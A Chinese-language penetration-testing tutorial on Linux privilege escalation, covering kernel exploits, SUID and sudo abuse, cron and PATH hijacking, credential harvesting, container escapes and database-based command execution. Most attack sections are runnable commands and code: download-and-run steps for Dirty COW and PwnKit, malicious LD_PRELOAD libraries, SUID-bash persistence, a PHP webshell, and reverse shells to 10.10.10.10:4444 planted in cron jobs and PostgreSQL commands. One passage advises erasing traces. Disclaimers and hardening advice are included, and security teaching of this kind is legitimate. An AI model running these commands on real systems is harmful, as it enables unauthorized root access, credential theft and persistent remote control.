1. Linux权限提升核心思路解析
在Linux系统中,权限提升(Privilege Escalation)是安全测试和系统管理中的关键技能。不同于Windows系统,Linux的权限体系更加精细和复杂,这既带来了更高的安全性,也为权限提升提供了更多可能性路径。理解这些路径的核心思路,是掌握Linux安全的基础。
Linux权限提升的本质是获取更高权限(通常是root)的执行能力。这可以通过以下几种主要方式实现:
-
内核漏洞利用:利用操作系统内核中的安全缺陷直接获取root权限。这类方法通常具有通用性强、效果直接的特点,但也存在系统崩溃风险。
-
配置缺陷利用:利用系统或应用程序的错误配置,如不当的SUID/SGID设置、sudo规则漏洞、计划任务配置错误等。
-
敏感信息泄露:通过获取密码、密钥等敏感信息直接登录高权限账户。
-
服务漏洞利用:利用高权限运行的服务(如数据库、Web服务器)中的漏洞执行系统命令。
-
容器逃逸:在容器环境中突破隔离限制获取宿主机权限。
重要提示:所有权限提升技术都应仅用于合法授权的安全测试。未经授权的系统渗透可能构成违法行为。
2. 内核漏洞利用实战指南
2.1 内核漏洞检测方法
内核漏洞利用的第一步是识别目标系统的潜在漏洞。以下是系统信息收集的标准流程:
bash复制# 获取内核版本信息
uname -a
uname -r
cat /proc/version
cat /etc/issue
cat /etc/*-release
# 查看系统架构
uname -m
# 检查已安装的安全补丁
rpm -qa --last | grep kernel
dpkg -l | grep linux-image
自动化工具可以显著提高漏洞识别效率:
bash复制# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
# linux-exploit-suggester-2
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
2.2 常见内核漏洞解析
下表列出了近年影响较大的Linux内核漏洞:
| 漏洞名称 | CVE编号 | 影响版本 | 技术原理 |
|---|---|---|---|
| Dirty COW | CVE-2016-5195 | 2.x - 4.8.3 | 竞态条件导致的写时复制漏洞 |
| Dirty Pipe | CVE-2022-0847 | 5.8 - 5.16.11 | 管道缓冲区覆盖漏洞 |
| PwnKit | CVE-2021-4034 | 所有pkexec版本 | polkit的pkexec本地提权 |
| Baron Samedit | CVE-2021-3156 | sudo < 1.9.5p2 | sudo堆溢出漏洞 |
| DirtyCred | CVE-2022-2588 | 5.8 - 5.19.x | 内核凭证覆盖漏洞 |
2.3 典型漏洞利用示范
Dirty COW (CVE-2016-5195)利用示例:
bash复制# 下载exploit代码
wget https://github.com/firefart/dirtycow/raw/master/dirty.c
# 编译
gcc -pthread dirty.c -o dirty -lcrypt
# 执行提权(会创建新的root用户firefart)
./dirty yourpassword
# 使用新密码登录
su firefart
PwnKit (CVE-2021-4034)利用示例:
bash复制# 下载exploit
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
# 编译
make
# 执行
./cve-2021-4034
# 获得root shell
2.4 内核漏洞利用注意事项
-
系统稳定性风险:内核漏洞利用可能导致系统崩溃或数据损坏,生产环境慎用。
-
依赖环境:编译exploit通常需要gcc和内核头文件,确保目标系统已安装。
-
架构匹配:注意目标系统架构(x86/x64/ARM)与exploit的兼容性。
-
隐蔽性考虑:某些exploit会产生明显的系统日志,实战中需要考虑清理痕迹。
3. SUID/SGID提权深度解析
3.1 SUID机制原理
SUID(Set User ID)是Linux的特殊权限位,其核心特性包括:
- 当可执行文件设置SUID位时,任何用户执行该文件都会以文件所有者的权限运行
- 典型应用场景:允许普通用户执行需要特权的操作(如passwd修改/etc/shadow)
- 安全风险:如果root拥有的SUID程序存在漏洞,可能被利用来提权
SGID(Set Group ID)机制类似,区别在于执行时获得的是文件所属组的权限。
3.2 SUID文件发现技术
系统范围内查找SUID/SGID文件的几种方法:
bash复制# 查找所有SUID文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
# 查找SGID文件
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# 查找既有SUID又有SGID的文件
find / -perm -6000 -type f 2>/dev/null
# 获取更详细的信息
find / -perm -u=s -type f -ls 2>/dev/null
3.3 常见SUID程序利用方法
3.3.1 find命令利用
bash复制# 检查find是否有SUID
find /usr/bin/find -perm -4000
# 利用方式1
find . -exec /bin/sh -p \; -quit
# 利用方式2
find . -exec /bin/bash -p \; -quit
3.3.2 vim/vi编辑器利用
bash复制# 检查vim
find /usr/bin/vim* -perm -4000
# 利用方式1
vim -c ':!sh'
# 利用方式2
:set shell=/bin/sh
:shell
3.3.3 cp命令利用
bash复制# 生成密码哈希
openssl passwd -1 -salt hack password123
# 创建恶意passwd文件
echo 'hacker:$1$hack$xxxxxxxxxxxxx:0:0:root:/root:/bin/bash' > /tmp/passwd
# 覆盖系统文件
cp /tmp/passwd /etc/passwd
# 登录
su hacker
3.3.4 其他常见SUID程序
bash复制# bash
bash -p
# python
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl
perl -e 'exec "/bin/sh";'
# ruby
ruby -e 'exec "/bin/sh"'
# less/more
less /etc/passwd
!bash
# tar
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
3.4 GTFOBins参考
GTFOBins是一个收录各种二进制文件提权方法的项目,建议作为参考:
bash复制# 在线访问
https://gtfobins.github.io/
# 离线版本
git clone https://github.com/GTFOBins/GTFOBins.github.io.git
4. Sudo配置漏洞利用
4.1 Sudo机制安全原理
Sudo(Superuser do)是Linux系统管理的重要工具,其安全特性包括:
- 细粒度的权限控制:可以精确控制哪些用户可以执行哪些命令
- 日志记录:所有sudo操作都会被记录,便于审计
- 时间限制:默认情况下,认证后的权限会保持5分钟
然而,不当的sudo配置可能带来严重的安全风险。
4.2 Sudo权限检测方法
bash复制# 查看当前用户的sudo权限
sudo -l
# 典型输出示例:
User www-data may run the following commands on webserver:
(ALL) NOPASSWD: /usr/bin/find
(root) /usr/bin/vim
4.3 Sudo配置漏洞利用场景
4.3.1 NOPASSWD配置滥用
bash复制# 如果sudo -l显示:
(ALL) NOPASSWD: /usr/bin/find
# 利用方式
sudo find . -exec /bin/sh \; -quit
4.3.2 通配符注入攻击
bash复制# 配置示例:(ALL) /bin/tar -czf /backup/*.tar.gz *
# 创建恶意文件名
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash" > shell.sh
# 执行
sudo /bin/tar -czf /backup/backup.tar.gz *
# 使用提权后的bash
/tmp/rootbash -p
4.3.3 环境变量劫持
bash复制# sudo -l显示:env_keep+=LD_PRELOAD
# 创建恶意共享库
cat > shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
# 编译
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# 利用
sudo LD_PRELOAD=/tmp/shell.so find
4.3.4 Sudo版本漏洞(CVE-2019-14287)
bash复制# 适用于 sudo < 1.8.28
# 配置:(ALL, !root) /usr/bin/vi
# 利用(使用用户ID -1绕过限制)
sudo -u#-1 /usr/bin/vi
# 在vi中执行
:!sh
4.4 Sudo安全配置建议
- 避免使用NOPASSWD选项
- 谨慎使用通配符,特别是与危险命令组合
- 限制env_keep保留的环境变量
- 及时更新sudo到最新版本
- 遵循最小权限原则
5. 计划任务提权技术
5.1 Cron机制安全分析
Cron是Linux系统的定时任务调度器,其安全特性包括:
- 系统级cron任务:存储在/etc/crontab、/etc/cron.d/等目录
- 用户级cron任务:存储在/var/spool/cron/crontabs/
- 执行环境:系统级任务通常以root权限运行
计划任务的安全风险主要来自:
- 可写的cron脚本或配置文件
- 不安全的PATH环境变量设置
- 脚本中使用相对路径或通配符
5.2 计划任务检测方法
bash复制# 查看系统级cron任务
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.monthly/
ls -la /etc/cron.weekly/
# 查看用户级cron任务
crontab -l
cat /var/spool/cron/crontabs/*
# 查看systemd定时器
systemctl list-timers --all
# 查找可写的cron脚本
find /etc/cron* -type f -perm -o+w
# 使用pspy监控进程
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
5.3 计划任务利用技术
5.3.1 可写Cron脚本利用
bash复制# 假设发现/etc/cron.d/backup.sh可写
ls -la /etc/cron.d/backup.sh
# 添加反向shell
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /etc/cron.d/backup.sh
# 或创建SUID bash
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/cron.d/backup.sh
# 等待执行后
/tmp/rootbash -p
5.3.2 PATH环境变量劫持
bash复制# /etc/crontab内容示例:
* * * * * root /usr/local/bin/backup.sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# 如果backup.sh中使用相对路径命令如tar
# 创建恶意tar
cat > /tmp/tar << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /tmp/tar
# 修改PATH(如果可以修改crontab)
# 或等待cron执行
5.3.3 通配符注入攻击
bash复制# cron脚本内容:
#!/bin/bash
cd /home/user
tar -czf /backup/backup.tar.gz *
# 利用步骤
cd /home/user
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
cat > shell.sh << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x shell.sh
# 等待cron执行
5.4 计划任务安全防护
- 设置严格的文件权限,防止非授权修改
- 在cron脚本中使用绝对路径
- 避免在cron脚本中使用通配符
- 设置合理的PATH环境变量
- 定期审计cron任务和脚本
6. 环境变量劫持技术
6.1 PATH劫持原理
PATH环境变量定义了Shell查找命令的目录顺序。当程序使用相对路径调用命令时,系统会按PATH定义的顺序查找可执行文件。攻击者可以通过:
- 修改PATH变量,将自己的目录放在系统目录之前
- 在PATH靠前的可写目录中放置恶意程序
6.2 环境变量检测方法
bash复制# 查看当前PATH
echo $PATH
# 检查SUID程序调用的命令
strings /usr/local/bin/suid_program | grep -E "^[a-z]+"
# 使用strace跟踪
strace -f -e execve /usr/local/bin/suid_program 2>&1 | grep exec
# 检查程序依赖库
ldd /usr/local/bin/suid_program
6.3 典型利用场景
6.3.1 PATH劫持SUID程序
bash复制# 假设发现SUID程序/usr/local/bin/service_start调用了systemctl
# 创建恶意systemctl
cat > /tmp/systemctl << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /tmp/systemctl
# 修改PATH并执行
export PATH=/tmp:$PATH
/usr/local/bin/service_start
# 使用提权后的bash
/tmp/rootbash -p
6.3.2 共享库劫持
bash复制# 检查程序依赖
ldd /usr/local/bin/program
# 创建恶意库
cat > evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
EOF
# 编译
gcc -shared -fPIC evil.c -o /tmp/libcustom.so
# 使用LD_PRELOAD执行
LD_PRELOAD=/tmp/libcustom.so /usr/local/bin/program
6.3.3 Python库劫持
bash复制# 假设root运行的Python脚本导入了custom_module
# 查找Python路径
python -c "import sys; print('\n'.join(sys.path))"
# 创建恶意模块
cat > /tmp/custom_module.py << EOF
import os
os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash')
EOF
# 修改PYTHONPATH
export PYTHONPATH=/tmp:$PYTHONPATH
6.4 环境变量安全防护
- 在程序中使用绝对路径调用命令
- 设置安全的PATH环境变量,将系统目录放在前面
- 限制可写目录不在PATH中
- 对于SUID程序,使用完整的execve调用而非system/popen
- 设置LD_PRELOAD和LD_LIBRARY_PATH的限制
7. 密码信息泄露利用
7.1 密码信息常见存储位置
在Linux系统中,密码和敏感信息可能存储在以下位置:
- 配置文件:/etc目录下的各种配置文件
- 历史记录:用户的各种shell历史记录
- 备份文件:系统或应用程序的备份文件
- 数据库:应用程序数据库中的凭据
- 内存:进程内存中的临时凭据
7.2 信息泄露检测技术
7.2.1 配置文件搜索
bash复制# 搜索密码相关关键词
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
grep -ri "pwd" /etc/ 2>/dev/null
# 检查特定类型的配置文件
find /etc/ -name "*.conf" -exec grep -i "pass" {} \; 2>/dev/null
7.2.2 历史记录检查
bash复制# 检查各种shell历史
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history
cat ~/.*history
# 检查环境变量
env | grep -i "pass"
cat /proc/self/environ
7.2.3 数据库配置文件
bash复制# 常见Web应用配置文件
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat /var/www/html/configuration.php
# 系统查找
find / -name "config.php" 2>/dev/null
find / -name "database.yml" 2>/dev/null
7.2.4 SSH密钥查找
bash复制find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
ls -la ~/.ssh/
7.3 密码信息利用方法
7.3.1 数据库密码利用
bash复制# 找到MySQL密码
cat /var/www/html/config.php
# 登录数据库
mysql -u root -p'SuperSecret123'
# 尝试密码重用
su root
7.3.2 SSH密钥利用
bash复制# 发现私钥
find / -name "id_rsa" 2>/dev/null
# 复制密钥
cp /home/user/.ssh/id_rsa /tmp/key
chmod 600 /tmp/key
# SSH登录
ssh -i /tmp/key root@localhost
7.3.3 密码哈希破解
bash复制# 提取shadow哈希
grep root /etc/shadow > /tmp/hash
# 使用John破解
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash
# 使用hashcat破解
hashcat -m 1800 /tmp/hash /usr/share/wordlists/rockyou.txt
7.4 密码安全防护建议
- 避免在配置文件中存储明文密码
- 使用强密码策略
- 定期轮换密码和密钥
- 设置严格的文件权限
- 清理历史记录和临时文件
8. 容器逃逸技术
8.1 容器环境检测
bash复制# 检查是否在容器中
cat /proc/1/cgroup | grep -i "docker\|lxc"
ls -la /.dockerenv
cat /proc/self/mountinfo | grep docker
# 检查容器权限
capsh --print
cat /proc/self/status | grep Cap
# 检查挂载点
mount | grep -i "docker\|lxc"
df -h
# 检查Docker socket
ls -la /var/run/docker.sock
# 检查特权容器
grep -i "privileged" /proc/self/status
ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" || echo "Unprivileged"
8.2 Docker逃逸技术
8.2.1 特权容器逃逸
bash复制# 检查磁盘设备
fdisk -l
# 挂载宿主机文件系统
mkdir /mnt/host
mount /dev/sda1 /mnt/host
# 写入SSH密钥
mkdir /mnt/host/root/.ssh
cat ~/.ssh/id_rsa.pub >> /mnt/host/root/.ssh/authorized_keys
# 或修改cron任务
echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /mnt/host/etc/crontab
8.2.2 Docker Socket利用
bash复制# 检查docker.sock权限
ls -la /var/run/docker.sock
# 使用docker命令逃逸
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# 或使用Docker API
curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/CONTAINER_ID/start
8.2.3 runc漏洞利用(CVE-2019-5736)
bash复制# 下载exploit
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd CVE-2019-5736-PoC
# 编译
go build main.go
# 在容器内执行
./main
# 从宿主机执行docker exec触发
docker exec /bin/bash
8.3 LXD/LXC逃逸技术
bash复制# 检查lxd组
id
groups
# 在攻击机构建Alpine镜像
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine
# 传输到目标
python3 -m http.server 8000
# 在目标机器上
wget http://attacker:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
# 导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
# 创建特权容器
lxc init myimage ignite -c security.privileged=true
# 挂载宿主机根目录
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
# 启动容器
lxc start ignite
# 进入容器
lxc exec ignite /bin/sh
# 访问宿主机文件
cd /mnt/root
8.4 容器安全防护
- 避免使用特权容器
- 限制容器能力(Capabilities)
- 保护Docker Socket
- 及时更新容器运行时
- 使用只读根文件系统
- 限制资源访问
9. Capabilities提权技术
9.1 Linux Capabilities机制
传统Unix权限模型中,进程只有两种权限状态:特权(root)和非特权(普通用户)。Linux Capabilities将root权限细分为多个独立的能力单元,主要特点包括:
- 细粒度控制:可以精确授予程序所需的最小权限
- 减少风险:避免程序拥有不必要的完整root权限
- 灵活性:可以动态调整进程的能力集
9.2 Capabilities检测方法
bash复制# 查找所有具有capabilities的文件
getcap -r / 2>/dev/null
# 查看当前进程的capabilities
cat /proc/self/status | grep Cap
capsh --print
9.3 危险Capabilities及利用
9.3.1 cap_setuid利用
bash复制# Python示例
getcap /usr/bin/python3.8
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl示例
getcap /usr/bin/perl
/usr/bin/perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'
9.3.2 cap_dac_override利用
bash复制# vim示例
getcap /usr/bin/vim
vim /etc/passwd
# 添加:hacker:x:0:0:root:/root:/bin/bash
vim /etc/shadow
# 添加密码哈希
9.3.3 cap_sys_admin利用
bash复制# 挂载宿主机文件系统(容器环境)
python3 -c '
import os
os.system("mkdir /mnt/host")
os.system("mount /dev/sda1 /mnt/host")
'
9.4 Capabilities安全配置
- 遵循最小权限原则,只授予必要的能力
- 定期审计系统中有capabilities的文件
- 避免将危险能力组合授予程序
- 考虑使用安全模块(如SELinux)进行额外限制
10. 数据库提权技术
10.1 MySQL提权方法
10.1.1 UDF提权
sql复制-- 检查plugin目录
show variables like '%plugin%';
-- 检查secure_file_priv
show variables like '%secure_file_priv%';
-- 创建UDF函数
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/udf.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function sys_exec returns integer soname 'udf.so';
-- 执行命令
select sys_exec('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');
10.1.2 INTO OUTFILE写文件
sql复制-- 检查写入权限
show variables like '%secure_file_priv%';
-- 写入Webshell
select '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/shell.php';
10.2 PostgreSQL提权方法
10.2.1 COPY TO/FROM PROGRAM
sql复制-- 创建临时表
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
-- 执行系统命令
COPY cmd_exec FROM PROGRAM 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash';
-- 反向shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"';
10.2.2 Large Objects写文件
sql复制-- 创建Large Object
SELECT lo_creat(-1);
-- 写入数据
SELECT lo_put(12345, 0, decode('3c3f7068...', 'hex'));
-- 导出文件
\lo_export 12345 '/var/www/html/shell.php'
10.3 数据库安全防护
- 使用最小权限账户运行数据库服务
- 限制文件系统访问权限
- 禁用危险功能(如UDF)
- 及时安装安全补丁
- 启用审计日志
11. 自动化提权工具集
11.1 信息枚举工具
11.1.1 LinPEAS
bash复制wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh -a > /tmp/linpeas_output.txt
11.1.2 LinEnum
bash复制wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t
11.1.3 Linux Smart Enumeration
bash复制wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh
chmod +x lse.sh
./lse.sh -l 2
11.2 漏洞利用工具
11.2.1 Linux Exploit Suggester
bash复制wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
11.2.2 pspy进程监控
bash复制wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
11.3 专项参考资源
- GTFOBins:https://gtfobins.github.io/
- PayloadsAllTheThings:https://github.com/swisskyrepo/PayloadsAllTheThings
- HackTricks:https://book.hacktricks.xyz/
12. 防御与加固建议
12.1 系统层面加固
- 及时安装安全更新和补丁
- 禁用不必要的服务和账户
- 配置严格的防火墙规则
- 启用SELinux或AppArmor
- 配置日志集中收集和监控
12.2 权限管理最佳实践
- 遵循最小权限原则
- 谨慎设置SUID/SGID位
- 严格限制sudo权限
- 定期审计系统权限配置
- 使用Capabilities替代完整的root权限
12.3 安全监控与响应
- 部署文件完整性监控
- 配置入侵检测系统(如AIDE、OSSEC)
- 建立安全事件响应流程
- 定期进行安全审计和渗透测试
- 实施安全配置基线(如CIS Benchmark)
在实际渗透测试和系统管理中,理解这些权限提升技术的原理和实现方式,不仅有助于发现和修复安全漏洞,也能帮助我们构建更加安全的Linux系统环境。记住,所有技术都应仅用于合法授权的安全测试目的。